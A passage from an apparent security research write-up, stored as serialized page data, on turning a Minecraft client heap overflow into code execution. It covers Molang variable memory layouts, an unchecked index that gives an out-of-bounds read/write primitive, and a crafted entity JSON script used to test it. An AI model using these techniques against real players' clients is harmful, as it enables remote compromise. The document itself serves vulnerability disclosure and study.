{\n",{"type":23,"tag":481,"props":150222,"children":150223},{"class":483,"line":843},[150224,150229],{"type":23,"tag":481,"props":150225,"children":150226},{"style":497},[150227],{"type":28,"value":150228}," uint32_t",{"type":23,"tag":481,"props":150230,"children":150231},{"style":525},[150232],{"type":28,"value":150233}," value_type;\n",{"type":23,"tag":481,"props":150235,"children":150236},{"class":483,"line":864},[150237,150241],{"type":23,"tag":481,"props":150238,"children":150239},{"style":497},[150240],{"type":28,"value":150181},{"type":23,"tag":481,"props":150242,"children":150243},{"style":525},[150244],{"type":28,"value":150245}," value;\n",{"type":23,"tag":481,"props":150247,"children":150248},{"class":483,"line":873},[150249,150254,150258,150262,150267,150271],{"type":23,"tag":481,"props":150250,"children":150251},{"style":525},[150252],{"type":28,"value":150253}," std::vector",{"type":23,"tag":481,"props":150255,"children":150256},{"style":514},[150257],{"type":28,"value":3282},{"type":23,"tag":481,"props":150259,"children":150260},{"style":497},[150261],{"type":28,"value":6884},{"type":23,"tag":481,"props":150263,"children":150264},{"style":525},[150265],{"type":28,"value":150266}," MolangScriptArg",{"type":23,"tag":481,"props":150268,"children":150269},{"style":514},[150270],{"type":28,"value":7947},{"type":23,"tag":481,"props":150272,"children":150273},{"style":525},[150274],{"type":28,"value":150275}," struct_fields;\n",{"type":23,"tag":481,"props":150277,"children":150278},{"class":483,"line":1125},[150279],{"type":23,"tag":481,"props":150280,"children":150281},{"style":525},[150282],{"type":28,"value":150283}," \n",{"type":23,"tag":481,"props":150285,"children":150286},{"class":483,"line":1142},[150287],{"type":23,"tag":481,"props":150288,"children":150289},{"style":525},[150290],{"type":28,"value":121571},{"type":23,"tag":481,"props":150292,"children":150293},{"class":483,"line":1159},[150294],{"type":23,"tag":481,"props":150295,"children":150296},{"style":525},[150297],{"type":28,"value":36515},{"type":23,"tag":481,"props":150299,"children":150300},{"class":483,"line":1172},[150301],{"type":23,"tag":481,"props":150302,"children":150303},{"style":525},[150304],{"type":28,"value":14068},{"type":23,"tag":24,"props":150306,"children":150307},{},[150308,150310,150315],{"type":28,"value":150309},"In memory a ",{"type":23,"tag":64,"props":150311,"children":150313},{"className":150312},[],[150314],{"type":28,"value":150133},{"type":28,"value":150316}," instance resembles:",{"type":23,"tag":435,"props":150318,"children":150320},{"code":150319}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[150321],{"type":23,"tag":64,"props":150322,"children":150323},{"__ignoreMap":7},[150324],{"type":28,"value":150319},{"type":23,"tag":24,"props":150326,"children":150327},{},[150328],{"type":28,"value":150329},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":150331,"children":150332},{},[150333],{"type":23,"tag":149,"props":150334,"children":150336},{"alt":48104,"src":150335},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":150338,"children":150339},{},[150340],{"type":28,"value":150341},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":150343,"children":150344},{},[150345,150347,150353,150355,150360,150362,150368,150370,150375,150376,150381,150383,150388,150389,150395,150396,150402],{"type":28,"value":150346},"We only care about the ",{"type":23,"tag":64,"props":150348,"children":150350},{"className":150349},[],[150351],{"type":28,"value":150352},"MolangScriptArg",{"type":28,"value":150354}," beginning at offset ",{"type":23,"tag":64,"props":150356,"children":150358},{"className":150357},[],[150359],{"type":28,"value":126450},{"type":28,"value":150361}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":64,"props":150363,"children":150365},{"className":150364},[],[150366],{"type":28,"value":150367},"value_type",{"type":28,"value":150369}," at ",{"type":23,"tag":64,"props":150371,"children":150373},{"className":150372},[],[150374],{"type":28,"value":126450},{"type":28,"value":140},{"type":23,"tag":64,"props":150377,"children":150379},{"className":150378},[],[150380],{"type":28,"value":1568},{"type":28,"value":150382}," (meaning float), and the ",{"type":23,"tag":64,"props":150384,"children":150386},{"className":150385},[],[150387],{"type":28,"value":36670},{"type":28,"value":150369},{"type":23,"tag":64,"props":150390,"children":150392},{"className":150391},[],[150393],{"type":28,"value":150394},"0x38",{"type":28,"value":140},{"type":23,"tag":64,"props":150397,"children":150399},{"className":150398},[],[150400],{"type":28,"value":150401},"0xbf2070c8",{"type":28,"value":199},{"type":23,"tag":24,"props":150404,"children":150405},{},[150406,150408,150414,150416,150421,150423,150428,150429,150434,150436,150441,150443,150448],{"type":28,"value":150407},"During assignment, such as ",{"type":23,"tag":64,"props":150409,"children":150411},{"className":150410},[],[150412],{"type":28,"value":150413},"variable.a = variable.b",{"type":28,"value":150415},", each field of ",{"type":23,"tag":64,"props":150417,"children":150419},{"className":150418},[],[150420],{"type":28,"value":150352},{"type":28,"value":150422}," is copied from variable ",{"type":23,"tag":64,"props":150424,"children":150426},{"className":150425},[],[150427],{"type":28,"value":739},{"type":28,"value":54303},{"type":23,"tag":64,"props":150430,"children":150432},{"className":150431},[],[150433],{"type":28,"value":190},{"type":28,"value":150435},". Interestingly, the ",{"type":23,"tag":64,"props":150437,"children":150439},{"className":150438},[],[150440],{"type":28,"value":36670},{"type":28,"value":150442}," field is always copied as a ",{"type":23,"tag":64,"props":150444,"children":150446},{"className":150445},[],[150447],{"type":28,"value":53161},{"type":28,"value":150449}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":150451,"children":150452},{},[150453,150455,150461],{"type":28,"value":150454},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":64,"props":150456,"children":150458},{"className":150457},[],[150459],{"type":28,"value":150460},"MolangVariableMap",{"type":28,"value":199},{"type":23,"tag":16388,"props":150463,"children":150465},{"id":150464},"molangvariablemap",[150466],{"type":28,"value":150460},{"type":23,"tag":24,"props":150468,"children":150469},{},[150470,150475,150477,150483,150485,150491],{"type":23,"tag":64,"props":150471,"children":150473},{"className":150472},[],[150474],{"type":28,"value":150460},{"type":28,"value":150476}," is simply a ",{"type":23,"tag":64,"props":150478,"children":150480},{"className":150479},[],[150481],{"type":28,"value":150482},"std::vector\u003CMolangVariable *>",{"type":28,"value":150484}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":64,"props":150486,"children":150488},{"className":150487},[],[150489],{"type":28,"value":150490},"std::vector",{"type":28,"value":150492}," layout:",{"type":23,"tag":435,"props":150494,"children":150496},{"code":150495,"language":661,"meta":7,"className":14005,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[150497],{"type":23,"tag":64,"props":150498,"children":150499},{"__ignoreMap":7},[150500,150512,150528,150544,150560],{"type":23,"tag":481,"props":150501,"children":150502},{"class":483,"line":484},[150503,150507],{"type":23,"tag":481,"props":150504,"children":150505},{"style":497},[150506],{"type":28,"value":6884},{"type":23,"tag":481,"props":150508,"children":150509},{"style":525},[150510],{"type":28,"value":150511}," vector {\n",{"type":23,"tag":481,"props":150513,"children":150514},{"class":483,"line":351},[150515,150519,150523],{"type":23,"tag":481,"props":150516,"children":150517},{"style":497},[150518],{"type":28,"value":14038},{"type":23,"tag":481,"props":150520,"children":150521},{"style":514},[150522],{"type":28,"value":7301},{"type":23,"tag":481,"props":150524,"children":150525},{"style":525},[150526],{"type":28,"value":150527},"buf;\n",{"type":23,"tag":481,"props":150529,"children":150530},{"class":483,"line":531},[150531,150535,150539],{"type":23,"tag":481,"props":150532,"children":150533},{"style":497},[150534],{"type":28,"value":14038},{"type":23,"tag":481,"props":150536,"children":150537},{"style":514},[150538],{"type":28,"value":7301},{"type":23,"tag":481,"props":150540,"children":150541},{"style":525},[150542],{"type":28,"value":150543},"len;\n",{"type":23,"tag":481,"props":150545,"children":150546},{"class":483,"line":567},[150547,150551,150555],{"type":23,"tag":481,"props":150548,"children":150549},{"style":497},[150550],{"type":28,"value":14038},{"type":23,"tag":481,"props":150552,"children":150553},{"style":514},[150554],{"type":28,"value":7301},{"type":23,"tag":481,"props":150556,"children":150557},{"style":525},[150558],{"type":28,"value":150559},"cap;\n",{"type":23,"tag":481,"props":150561,"children":150562},{"class":483,"line":678},[150563],{"type":23,"tag":481,"props":150564,"children":150565},{"style":525},[150566],{"type":28,"value":14068},{"type":23,"tag":24,"props":150568,"children":150569},{},[150570,150575,150577,150582,150584,150590,150592,150597,150598,150603],{"type":23,"tag":64,"props":150571,"children":150573},{"className":150572},[],[150574],{"type":28,"value":147656},{"type":28,"value":150576}," points to the allocated array of elements, ",{"type":23,"tag":64,"props":150578,"children":150580},{"className":150579},[],[150581],{"type":28,"value":6621},{"type":28,"value":150583}," points just past the last used element, and ",{"type":23,"tag":64,"props":150585,"children":150587},{"className":150586},[],[150588],{"type":28,"value":150589},"cap",{"type":28,"value":150591}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":64,"props":150593,"children":150595},{"className":150594},[],[150596],{"type":28,"value":6621},{"type":28,"value":8478},{"type":23,"tag":64,"props":150599,"children":150601},{"className":150600},[],[150602],{"type":28,"value":150589},{"type":28,"value":150604}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":150606,"children":150607},{},[150608],{"type":28,"value":150609},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":435,"props":150611,"children":150613},{"code":150612},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[150614],{"type":23,"tag":64,"props":150615,"children":150616},{"__ignoreMap":7},[150617],{"type":28,"value":150612},{"type":23,"tag":24,"props":150619,"children":150620},{},[150621,150623,150629,150631,150637],{"type":28,"value":150622},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":64,"props":150624,"children":150626},{"className":150625},[],[150627],{"type":28,"value":150628},"variable.result",{"type":28,"value":150630},") may differ between entities. To get around this, ",{"type":23,"tag":64,"props":150632,"children":150634},{"className":150633},[],[150635],{"type":28,"value":150636},"MolangIndexMap",{"type":28,"value":150638}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":16388,"props":150640,"children":150642},{"id":150641},"molangindexmap",[150643],{"type":28,"value":150636},{"type":23,"tag":24,"props":150645,"children":150646},{},[150647,150652,150654,150660,150662,150668],{"type":23,"tag":64,"props":150648,"children":150650},{"className":150649},[],[150651],{"type":28,"value":150636},{"type":28,"value":150653}," is a per-entity ",{"type":23,"tag":64,"props":150655,"children":150657},{"className":150656},[],[150658],{"type":28,"value":150659},"std::vector\u003Cuint16_t>",{"type":28,"value":150661},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":64,"props":150663,"children":150665},{"className":150664},[],[150666],{"type":28,"value":150667},"variable.result = 0",{"type":28,"value":150669}," it:",{"type":23,"tag":73,"props":150671,"children":150672},{},[150673,150683,150693],{"type":23,"tag":77,"props":150674,"children":150675},{},[150676,150678],{"type":28,"value":150677},"Checks the global hashmap for ",{"type":23,"tag":64,"props":150679,"children":150681},{"className":150680},[],[150682],{"type":28,"value":6564},{"type":23,"tag":77,"props":150684,"children":150685},{},[150686,150688],{"type":28,"value":150687},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":64,"props":150689,"children":150691},{"className":150690},[],[150692],{"type":28,"value":150636},{"type":23,"tag":77,"props":150694,"children":150695},{},[150696,150698],{"type":28,"value":150697},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":64,"props":150699,"children":150701},{"className":150700},[],[150702],{"type":28,"value":150703},"last_index + 1",{"type":23,"tag":24,"props":150705,"children":150706},{},[150707,150709,150714,150716,150721,150723,150728,150730,150735,150737,150742,150743,150749,150751,150756],{"type":28,"value":150708},"This means the same global index for variable ",{"type":23,"tag":64,"props":150710,"children":150712},{"className":150711},[],[150713],{"type":28,"value":6564},{"type":28,"value":150715}," maps to the same position inside every entity’s ",{"type":23,"tag":64,"props":150717,"children":150719},{"className":150718},[],[150720],{"type":28,"value":150636},{"type":28,"value":150722},", but the actual ",{"type":23,"tag":64,"props":150724,"children":150726},{"className":150725},[],[150727],{"type":28,"value":150133},{"type":28,"value":150729}," for ",{"type":23,"tag":64,"props":150731,"children":150733},{"className":150732},[],[150734],{"type":28,"value":6564},{"type":28,"value":150736}," may live at different slots inside each entity's ",{"type":23,"tag":64,"props":150738,"children":150740},{"className":150739},[],[150741],{"type":28,"value":150460},{"type":28,"value":16026},{"type":23,"tag":64,"props":150744,"children":150746},{"className":150745},[],[150747],{"type":28,"value":150748},"Entity.MolangIndexMap[global_index]",{"type":28,"value":150750}," stores the per-entity index (slot) of variable ",{"type":23,"tag":64,"props":150752,"children":150754},{"className":150753},[],[150755],{"type":28,"value":6564},{"type":28,"value":199},{"type":23,"tag":24,"props":150758,"children":150759},{},[150760,150762,150767,150769,150774,150776,150781,150783,150788,150790,150796,150798,150803],{"type":28,"value":150761},"Importantly, we found that indices in the ",{"type":23,"tag":64,"props":150763,"children":150765},{"className":150764},[],[150766],{"type":28,"value":150636},{"type":28,"value":150768}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":64,"props":150770,"children":150772},{"className":150771},[],[150773],{"type":28,"value":150460},{"type":28,"value":150775},". This means that if we overwrite the index of variable ",{"type":23,"tag":64,"props":150777,"children":150779},{"className":150778},[],[150780],{"type":28,"value":6564},{"type":28,"value":150782}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":64,"props":150784,"children":150786},{"className":150785},[],[150787],{"type":28,"value":150460},{"type":28,"value":150789},", we could read from and write to ",{"type":23,"tag":64,"props":150791,"children":150793},{"className":150792},[],[150794],{"type":28,"value":150795},"address + 0x38",{"type":28,"value":150797}," through ",{"type":23,"tag":64,"props":150799,"children":150801},{"className":150800},[],[150802],{"type":28,"value":150628},{"type":28,"value":199},{"type":23,"tag":7092,"props":150805,"children":150807},{"id":150806},"building-a-molang-arbitrary-rw-primitive",[150808],{"type":28,"value":150809},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":150811,"children":150812},{},[150813,150815,150820,150822,150827],{"type":28,"value":150814},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":64,"props":150816,"children":150818},{"className":150817},[],[150819],{"type":28,"value":150490},{"type":28,"value":150821}," - specifically, of ",{"type":23,"tag":64,"props":150823,"children":150825},{"className":150824},[],[150826],{"type":28,"value":150460},{"type":28,"value":150828}," vector.",{"type":23,"tag":24,"props":150830,"children":150831},{},[150832,150834,150839,150841,150846,150847,150852,150854,150859],{"type":28,"value":150833},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":64,"props":150835,"children":150837},{"className":150836},[],[150838],{"type":28,"value":150460},{"type":28,"value":150840}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":64,"props":150842,"children":150844},{"className":150843},[],[150845],{"type":28,"value":147656},{"type":28,"value":53318},{"type":23,"tag":64,"props":150848,"children":150850},{"className":150849},[],[150851],{"type":28,"value":150460},{"type":28,"value":150853}," vector belonging to an entity object placed just next the ",{"type":23,"tag":64,"props":150855,"children":150857},{"className":150856},[],[150858],{"type":28,"value":150460},{"type":28,"value":150860}," allocated buffer.",{"type":23,"tag":435,"props":150862,"children":150864},{"code":150863}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[150865],{"type":23,"tag":64,"props":150866,"children":150867},{"__ignoreMap":7},[150868],{"type":28,"value":150863},{"type":23,"tag":24,"props":150870,"children":150871},{},[150872,150874,150879,150881,150887,150889,150894,150895,150901,150902,150907,150909,150914,150916,150921,150923,150928,150930,150935,150937,150942,150944,150949,150951,150957,150959,150964,150966,150971],{"type":28,"value":150873},"In the scenario above, the ",{"type":23,"tag":64,"props":150875,"children":150877},{"className":150876},[],[150878],{"type":28,"value":150636},{"type":28,"value":150880}," would map ",{"type":23,"tag":64,"props":150882,"children":150884},{"className":150883},[],[150885],{"type":28,"value":150886},"variable.a",{"type":28,"value":150888}," -> index ",{"type":23,"tag":64,"props":150890,"children":150892},{"className":150891},[],[150893],{"type":28,"value":1568},{"type":28,"value":588},{"type":23,"tag":64,"props":150896,"children":150898},{"className":150897},[],[150899],{"type":28,"value":150900},"variable.b",{"type":28,"value":150888},{"type":23,"tag":64,"props":150903,"children":150905},{"className":150904},[],[150906],{"type":28,"value":1558},{"type":28,"value":150908},", and so on. If we overwrite the index for ",{"type":23,"tag":64,"props":150910,"children":150912},{"className":150911},[],[150913],{"type":28,"value":150886},{"type":28,"value":150915}," with a value that is out-of-bounds for the ",{"type":23,"tag":64,"props":150917,"children":150919},{"className":150918},[],[150920],{"type":28,"value":150460},{"type":28,"value":150922},", it can instead index the ",{"type":23,"tag":64,"props":150924,"children":150926},{"className":150925},[],[150927],{"type":28,"value":147656},{"type":28,"value":150929}," field of the entity object above. Reading ",{"type":23,"tag":64,"props":150931,"children":150933},{"className":150932},[],[150934],{"type":28,"value":150886},{"type":28,"value":150936}," will then return the pointer stored at offset ",{"type":23,"tag":64,"props":150938,"children":150940},{"className":150939},[],[150941],{"type":28,"value":150394},{"type":28,"value":150943}," from the start of the ",{"type":23,"tag":64,"props":150945,"children":150947},{"className":150946},[],[150948],{"type":28,"value":150460},{"type":28,"value":150950}," (which in this diagram corresponds to ",{"type":23,"tag":64,"props":150952,"children":150954},{"className":150953},[],[150955],{"type":28,"value":150956},"variable.f",{"type":28,"value":150958},"), and writing to ",{"type":23,"tag":64,"props":150960,"children":150962},{"className":150961},[],[150963],{"type":28,"value":150886},{"type":28,"value":150965}," will overwrite that pointer - corrupting ",{"type":23,"tag":64,"props":150967,"children":150969},{"className":150968},[],[150970],{"type":28,"value":150956},{"type":28,"value":199},{"type":23,"tag":24,"props":150973,"children":150974},{},[150975,150977,150982,150983,150989,150991,150996,150998,151004,151006,151011,151013,151018,151020,151026,151028,151034,151036,151041],{"type":28,"value":150976},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":64,"props":150978,"children":150980},{"className":150979},[],[150981],{"type":28,"value":150886},{"type":28,"value":578},{"type":23,"tag":64,"props":150984,"children":150986},{"className":150985},[],[150987],{"type":28,"value":150988},"variable.a += 8",{"type":28,"value":150990},"), which advances the pointer used for ",{"type":23,"tag":64,"props":150992,"children":150994},{"className":150993},[],[150995],{"type":28,"value":150956},{"type":28,"value":150997}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":64,"props":150999,"children":151001},{"className":151000},[],[151002],{"type":28,"value":151003},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":151005}," - this updates the ",{"type":23,"tag":64,"props":151007,"children":151009},{"className":151008},[],[151010],{"type":28,"value":150956},{"type":28,"value":151012}," pointer to our chosen address, and writing to ",{"type":23,"tag":64,"props":151014,"children":151016},{"className":151015},[],[151017],{"type":28,"value":150956},{"type":28,"value":151019},", for example ",{"type":23,"tag":64,"props":151021,"children":151023},{"className":151022},[],[151024],{"type":28,"value":151025},"variable.f = 1337",{"type":28,"value":151027},", writes the value ",{"type":23,"tag":64,"props":151029,"children":151031},{"className":151030},[],[151032],{"type":28,"value":151033},"1337",{"type":28,"value":151035}," to offset ",{"type":23,"tag":64,"props":151037,"children":151039},{"className":151038},[],[151040],{"type":28,"value":150394},{"type":28,"value":151042}," from that calculated address.",{"type":23,"tag":16388,"props":151044,"children":151046},{"id":151045},"testing-the-idea",[151047],{"type":28,"value":151048},"Testing the Idea",{"type":23,"tag":24,"props":151050,"children":151051},{},[151052,151054,151059,151061,151066,151068,151073],{"type":28,"value":151053},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":64,"props":151055,"children":151057},{"className":151056},[],[151058],{"type":28,"value":150460},{"type":28,"value":151060}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":127,"props":151062,"children":151063},{},[151064],{"type":28,"value":151065},"almost",{"type":28,"value":151067}," worked - below is the state of the ",{"type":23,"tag":64,"props":151069,"children":151071},{"className":151070},[],[151072],{"type":28,"value":150460},{"type":28,"value":151074},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":151076,"children":151077},{},[151078],{"type":23,"tag":149,"props":151079,"children":151081},{"alt":48104,"src":151080},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":151083,"children":151084},{},[151085],{"type":28,"value":151086},"And this is after execution:",{"type":23,"tag":24,"props":151088,"children":151089},{},[151090],{"type":23,"tag":149,"props":151091,"children":151093},{"alt":48104,"src":151092},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":151095,"children":151096},{},[151097],{"type":28,"value":151098},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":435,"props":151100,"children":151102},{"code":151101,"language":31514,"meta":7,"className":31512,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[151103],{"type":23,"tag":64,"props":151104,"children":151105},{"__ignoreMap":7},[151106,151113,151134,151146,151158,151179,151186,151193,151200,151212,151225,151237,151249,151261,151277,151284,151296,151304,151312,151319,151326,151333],{"type":23,"tag":481,"props":151107,"children":151108},{"class":483,"line":484},[151109],{"type":23,"tag":481,"props":151110,"children":151111},{"style":525},[151112],{"type":28,"value":8366},{"type":23,"tag":481,"props":151114,"children":151115},{"class":483,"line":351},[151116,151121,151125,151130],{"type":23,"tag":481,"props":151117,"children":151118},{"style":508},[151119],{"type":28,"value":151120}," \"format_version\"",{"type":23,"tag":481,"props":151122,"children":151123},{"style":525},[151124],{"type":28,"value":12820},{"type":23,"tag":481,"props":151126,"children":151127},{"style":1805},[151128],{"type":28,"value":151129},"\"1.10.0\"",{"type":23,"tag":481,"props":151131,"children":151132},{"style":525},[151133],{"type":28,"value":1033},{"type":23,"tag":481,"props":151135,"children":151136},{"class":483,"line":531},[151137,151142],{"type":23,"tag":481,"props":151138,"children":151139},{"style":508},[151140],{"type":28,"value":151141}," \"minecraft:client_entity\"",{"type":23,"tag":481,"props":151143,"children":151144},{"style":525},[151145],{"type":28,"value":34540},{"type":23,"tag":481,"props":151147,"children":151148},{"class":483,"line":567},[151149,151154],{"type":23,"tag":481,"props":151150,"children":151151},{"style":508},[151152],{"type":28,"value":151153}," \"description\"",{"type":23,"tag":481,"props":151155,"children":151156},{"style":525},[151157],{"type":28,"value":34540},{"type":23,"tag":481,"props":151159,"children":151160},{"class":483,"line":678},[151161,151166,151170,151175],{"type":23,"tag":481,"props":151162,"children":151163},{"style":508},[151164],{"type":28,"value":151165}," \"identifier\"",{"type":23,"tag":481,"props":151167,"children":151168},{"style":525},[151169],{"type":28,"value":12820},{"type":23,"tag":481,"props":151171,"children":151172},{"style":1805},[151173],{"type":28,"value":151174},"\"minecraft:leash_knot\"",{"type":23,"tag":481,"props":151176,"children":151177},{"style":525},[151178],{"type":28,"value":1033},{"type":23,"tag":481,"props":151180,"children":151181},{"class":483,"line":784},[151182],{"type":23,"tag":481,"props":151183,"children":151184},{"emptyLinePlaceholder":15},[151185],{"type":28,"value":1210},{"type":23,"tag":481,"props":151187,"children":151188},{"class":483,"line":812},[151189],{"type":23,"tag":481,"props":151190,"children":151191},{"style":19905},[151192],{"type":28,"value":124973},{"type":23,"tag":481,"props":151194,"children":151195},{"class":483,"line":825},[151196],{"type":23,"tag":481,"props":151197,"children":151198},{"style":525},[151199],{"type":28,"value":150283},{"type":23,"tag":481,"props":151201,"children":151202},{"class":483,"line":843},[151203,151208],{"type":23,"tag":481,"props":151204,"children":151205},{"style":508},[151206],{"type":28,"value":151207}," \"scripts\"",{"type":23,"tag":481,"props":151209,"children":151210},{"style":525},[151211],{"type":28,"value":34540},{"type":23,"tag":481,"props":151213,"children":151214},{"class":483,"line":864},[151215,151220],{"type":23,"tag":481,"props":151216,"children":151217},{"style":508},[151218],{"type":28,"value":151219}," \"initialize\"",{"type":23,"tag":481,"props":151221,"children":151222},{"style":525},[151223],{"type":28,"value":151224},": [\n",{"type":23,"tag":481,"props":151226,"children":151227},{"class":483,"line":873},[151228,151233],{"type":23,"tag":481,"props":151229,"children":151230},{"style":1805},[151231],{"type":28,"value":151232}," \"variable.a = 0;\"",{"type":23,"tag":481,"props":151234,"children":151235},{"style":525},[151236],{"type":28,"value":1033},{"type":23,"tag":481,"props":151238,"children":151239},{"class":483,"line":1125},[151240,151245],{"type":23,"tag":481,"props":151241,"children":151242},{"style":1805},[151243],{"type":28,"value":151244}," \"variable.b = 0;\"",{"type":23,"tag":481,"props":151246,"children":151247},{"style":525},[151248],{"type":28,"value":1033},{"type":23,"tag":481,"props":151250,"children":151251},{"class":483,"line":1142},[151252,151257],{"type":23,"tag":481,"props":151253,"children":151254},{"style":1805},[151255],{"type":28,"value":151256}," \"variable.c = 0;\"",{"type":23,"tag":481,"props":151258,"children":151259},{"style":525},[151260],{"type":28,"value":1033},{"type":23,"tag":481,"props":151262,"children":151263},{"class":483,"line":1159},[151264,151269,151273],{"type":23,"tag":481,"props":151265,"children":151266},{"style":525},[151267],{"type":28,"value":151268}," [",{"type":23,"tag":481,"props":151270,"children":151271},{"style":19905},[151272],{"type":28,"value":7074},{"type":23,"tag":481,"props":151274,"children":151275},{"style":525},[151276],{"type":28,"value":9259},{"type":23,"tag":481,"props":151278,"children":151279},{"class":483,"line":1172},[151280],{"type":23,"tag":481,"props":151281,"children":151282},{"style":525},[151283],{"type":28,"value":41170},{"type":23,"tag":481,"props":151285,"children":151286},{"class":483,"line":1181},[151287,151292],{"type":23,"tag":481,"props":151288,"children":151289},{"style":508},[151290],{"type":28,"value":151291}," \"pre_animation\"",{"type":23,"tag":481,"props":151293,"children":151294},{"style":525},[151295],{"type":28,"value":151224},{"type":23,"tag":481,"props":151297,"children":151298},{"class":483,"line":1204},[151299],{"type":23,"tag":481,"props":151300,"children":151301},{"style":1805},[151302],{"type":28,"value":151303}," \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":481,"props":151305,"children":151306},{"class":483,"line":1213},[151307],{"type":23,"tag":481,"props":151308,"children":151309},{"style":525},[151310],{"type":28,"value":151311}," ]\n",{"type":23,"tag":481,"props":151313,"children":151314},{"class":483,"line":1222},[151315],{"type":23,"tag":481,"props":151316,"children":151317},{"style":525},[151318],{"type":28,"value":34717},{"type":23,"tag":481,"props":151320,"children":151321},{"class":483,"line":1291},[151322],{"type":23,"tag":481,"props":151323,"children":151324},{"style":525},[151325],{"type":28,"value":879},{"type":23,"tag":481,"props":151327,"children":151328},{"class":483,"line":1299},[151329],{"type":23,"tag":481,"props":151330,"children":151331},{"style":525},[151332],{"type":28,"value":3348},{"type":23,"tag":481,"props":151334,"children":151335},{"class":483,"line":1329},[151336],{"type":23,"tag":481,"props":151337,"children":151338},{"style":525},[151339],{"type":28,"value":1443},{"type":23,"tag":24,"props":151341,"children":151342},{},[151343,151345,151350,151352,151357,151359,151364],{"type":28,"value":151344},"As shown, the pointer of a variable at offset ",{"type":23,"tag":64,"props":151346,"children":151348},{"className":151347},[],[151349],{"type":28,"value":150394},{"type":28,"value":151351}," was modified and the core concept works. During ",{"type":23,"tag":64,"props":151353,"children":151355},{"className":151354},[],[151356],{"type":28,"value":150352},{"type":28,"value":151358}," copy, pointers of some other variables above offset ",{"type":23,"tag":64,"props":151360,"children":151362},{"className":151361},[],[151363],{"type":28,"value":150394},{"type":28,"value":151365}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":151367,"children":151368},{},[151369],{"type":28,"value":151370},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":14178,"props":151372,"children":151373},{},[151374,151387],{"type":23,"tag":77,"props":151375,"children":151376},{},[151377,151379,151385],{"type":28,"value":151378},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":64,"props":151380,"children":151382},{"className":151381},[],[151383],{"type":28,"value":151384},"FLT_MAX",{"type":28,"value":151386},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":77,"props":151388,"children":151389},{},[151390,151392,151397,151399,151404,151405,151410,151412,151417],{"type":28,"value":151391},"As noted before, during assignment, ",{"type":23,"tag":64,"props":151393,"children":151395},{"className":151394},[],[151396],{"type":28,"value":150352},{"type":28,"value":151398}," fields are copied, and the ",{"type":23,"tag":64,"props":151400,"children":151402},{"className":151401},[],[151403],{"type":28,"value":36670},{"type":28,"value":150442},{"type":23,"tag":64,"props":151406,"children":151408},{"className":151407},[],[151409],{"type":28,"value":53161},{"type":28,"value":151411},". Since our source 